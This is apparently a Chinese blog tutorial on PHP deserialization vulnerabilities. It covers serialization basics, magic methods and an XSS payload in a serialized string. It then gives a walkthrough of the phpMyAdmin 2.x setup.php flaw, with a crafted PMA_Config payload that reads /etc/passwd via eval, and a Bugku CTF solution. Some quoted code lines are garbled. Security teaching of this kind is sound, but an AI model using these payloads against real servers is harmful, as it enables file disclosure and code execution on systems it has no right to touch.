1、PHP序列化和反序列化
在学习PHP反序列化漏洞之前,我们有必要先来了解一下这两个函数,serialize()
和unserialize()
,熟悉PHP的大佬都知道,这两个是序列化和反序列化函数,那什么是序列化和反序列化。根据官方手册,所有php里面的值都可以使用函数serialize()
来返回一个包含字节流的字符串来表示。unserialize()
函数能够重新把字符串变回php原来的值。 序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。那么简单来说,序列化就是把一个对象变成可以传输的字符串,反序列化就是把序列化后的字符串还原成对象。
序列化示例:
<?php class S{ public $test="github"; } $s=new S(); //创建一个对象 serialize($s); //把这个对象进行序列化 echo serialize($s) ?> /** 上述代码会返回 O:1:"S":1:{s:4:"test";s:6:"github";}字符串。 o:代表一个object 第一个1:代表对象名字长度为一个字符 S:对象的名称 第二个1:代表对象里面有一个变量 s:数据类型 4:变量名称长度 test:变量名称 s:数据类型 6:变量值的长度 github:变量值 **/
2、反序列化漏洞
需要注意的是,序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。我们来了解一下几个常见的魔法函数
__construct()当一个对象创建时被调用 __destruct()当一个对象销毁时被调用 __toString()当一个对象被当作一个字符串使用 __sleep() 在对象在被序列化之前运行 __wakeup()在被反序列化之前先调用该函数 漏洞示例: <?php class S{ var $test = "github"; function __destruct(){ echo $this->test; } } $s = $_GET['test']; @$unser = unserialize('O:1:"S":1:{s:4:"test";s:29:"<script>alert("xss")</script>";}'); ?> //上面的代码反序列化函数里面的东西是用户自己输入的,当用户输入该payload时,函数执行完就会弹出一个框,而之所以会这样,就是因为没有对用户输入的内容进行控制。
根据上面所说的内容,我们可以总结出该漏洞利用的条件:unserialize函数的参数用户可控,所写的内容需要有对象中的成员变量的值,脚本中存在魔法函数。
3、漏洞解析
漏洞样例:phpMyAdmin 2.x中存在的反序列化漏洞,漏洞位置在/scripts/setup.php文件中。
下面我们看一下源代码:
define( 'PMA_MINIMUM_COMMON', TRUE ); chdir('..'); require_once('./libraries/common.lib.php'); //引入该php文件 // Grab configuration defaults $PMA_Config = new PMA_Config(); //创建了PMA_Config对象,PMA_Config就是对象名 // Script information $script_info = 'phpMyAdmin ' . $PMA_Config->get('PMA_VERSION') . ' setup script by Michal ?iha? <michal@cihar.com>'; $script_version = '$Id$'; // Grab action if (isset($_POST['action'])) { $action = $_POST['action']; } else { $action = ''; } if (isset($_POST['configuration']) && $action != 'clear' ) { //如果configuration存在并且action不为clear,则对configuration进行反序列化操作 // Grab previous configuration, if it should not be cleared $configuration = unserialize($_POST['configuration']); //反序列化 } else { // Start with empty configuration $configuration = array(); } // We rely on Servers array to exist, so create it here if (!isset($configuration['Servers']) || !is_array($configuration['Servers'])) { $configuration['Servers'] = array(); } //代码上面重要部分有注释
上面的这段代码简单来说,就是通过输入一个序列化字符,会反序列化成一个对象,但是并没有看到魔法函数。
因此我们接着看引入的文件./libraries/common.lib.php
require_once './libraries/sanitizing.lib.php';
require_once './libraries/Theme.class.php';
require_once './libraries/Theme_Manager.class.php';
require_once './libraries/Config.class.php'; //引入了Config.class.php
这个文件又引入了其他文件,我们主要看Config.class.php,这个才是重点文件。
./libraries/Config.class.php:
function __wakeup() //魔法函数__wakeup,该魔法函数在对象被序列化之后立即被触发调用:
{
if ( $this->source_mtime !== filemtime($this->getSource())
|| $this->error_config_file || $this->error_config_default_file ) {
$this->settings = array();
$this->load($this->getSource()); //满足条件会调用load函数
$this->checkSystem();
}
// check for https needs to be done everytime,
// as https and http uses same session so this info can not be stored
// in session
$this->checkIsHttps();
$this->checkCollationConnection();
}
function load($source = null)
{
$this->loadDefaults();
if ( null !== $source ) {
$this->setSource($source);
}
if ( ! $this->checkConfigSource() ) {
return false;
}
$cfg = array();
/**
* Parses the configuration file
*/
$old_error_reporting = error_reporting(0);
if ( function_exists('file_get_contents') ) {
$eval_result =file_get_contents
eval( '?>' . file_get_contents($this->getSource()) ); //重点在这几行代码,当检测到file_get_contents函数存在时,输出字符串,不存在是输出文件内容
} else {
$eval_result =
eval( '?>' . implode('\n', file($this->getSource())) );
}
error_reporting($old_error_reporting);
if ( $eval_result === false ) {
$this->error_config_file = true;
} else {
$this->error_config_file = false;
$this->source_mtime = filemtime($this->getSource());
}
/**
* @TODO check validity of $_COOKIE['pma_collation_connection']
*/
if ( ! empty( $_COOKIE['pma_collation_connection'] ) ) {
$this->set('collation_connection',
strip_tags($_COOKIE['pma_collation_connection']) );
} else {
$this->set('collation_connection',
$this->get('DefaultConnectionCollation') );
}
$this->checkCollationConnection();
//$this->checkPmaAbsoluteUri();
$this->settings = PMA_array_merge_recursive($this->settings, $cfg);
return true;
}
在这个文件里面,我们找到魔法函数__wakeup()
,并且通过代码解析我们可以发现,满足魔法函数的条件时会调用load
函数,我们进一步继续跟踪load函数会发现传入了一个source
变量,并且在load
函数中有几行重要的代码,也是漏洞的关键位置。我将这几行代码单独放在下面来看一看。
if ( function_exists('file_get_contents') ) {
$eval_result =file_get_contents
eval( '?>' . file_get_contents($this->getSource()) ); //重点在这几行代码,当检测到file_get_contents函数存在时,输出字符串,不存在是输出文件内容
} else {
$eval_result =
eval( '?>' . implode('\n', file($this->getSource())) );
}
当检测到file_get_contents
被定义,则通过eval
函数执行读入的字符串;如果没有file_get_contents
函数,则通过file
读入文件,同时利用implode
函数把文件内容利用\n
拼接,再执行eval
函数。
那么整个代码的分析过程就已经完成了,通过上面的解析,我们可以发现,当我们输入一个序列化字符串,在被反序列化成一个对象之前,会先触发__wakeup()
函数,并且满足该魔法函数内的要求时,则可以进行任意读取文件或其他操作。
接下来我们所需要的就是构造我们需要的payload。
在setup.php文件中,我们需要两个传参字段,action
和configuration
,同时创建了对象PMA_Config
。
并且在load函数中传入source参数。
<?php
class PMA_Config{
public $source="/etc/passwd";
}
$PMA_Config=new PMA_Config();
echo serialize($PMA_Config);
?>
我们得到的序列化的字符串为:O:10:"PMA_Config":1:{s:6:"source";s:11:"/etc/passwd";}
可以看到上面的payload把etc下的passwd文件给读取出来了。
4、CTF样题
这里顺便附上一道Bugku的CTF样题。
题目地址:flag.php,提示为:hint
这是一个点击登录完全没效果的页面,按照提示,我给了个hint=111的参数,页面显示源码。源码如下:
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>
<?php
}
$KEY='ISecer:www.isecer.com';
?>
我把源码给简单过滤了一下不需要看的部分
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer']; //取出cookie
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY") //重点来了,对cookie进行反序列化操作,若等于$KEY则输出flag
{
echo "$flag";
}
else {
?>
$KEY='ISecer:www.isecer.com';
源码还是很容易就看得懂的,首先取出名为ISecer的cookie,然后对该cookie进行反序列化操作,等于给定的值时则输出flag。
不过还是被这个题目给小小的坑了一下,其实也不算坑吧,是我自己PHP没有学好哈哈,我一开始用下面给定的$KEY='ISecer:www.isecer.com';
进行序列化后传给ISecer,但是一直不行,后来才发现在php源码中并没有定义这个KEY的值,因此这个值应该为空,即“”。
<?php
echo serialize("");
?>
得到的结果为s:0:"";
成功取出flag,这道题本身也很容易,算是对反序列化漏洞的运用吧。
我的博客:https://blog.z7sz.top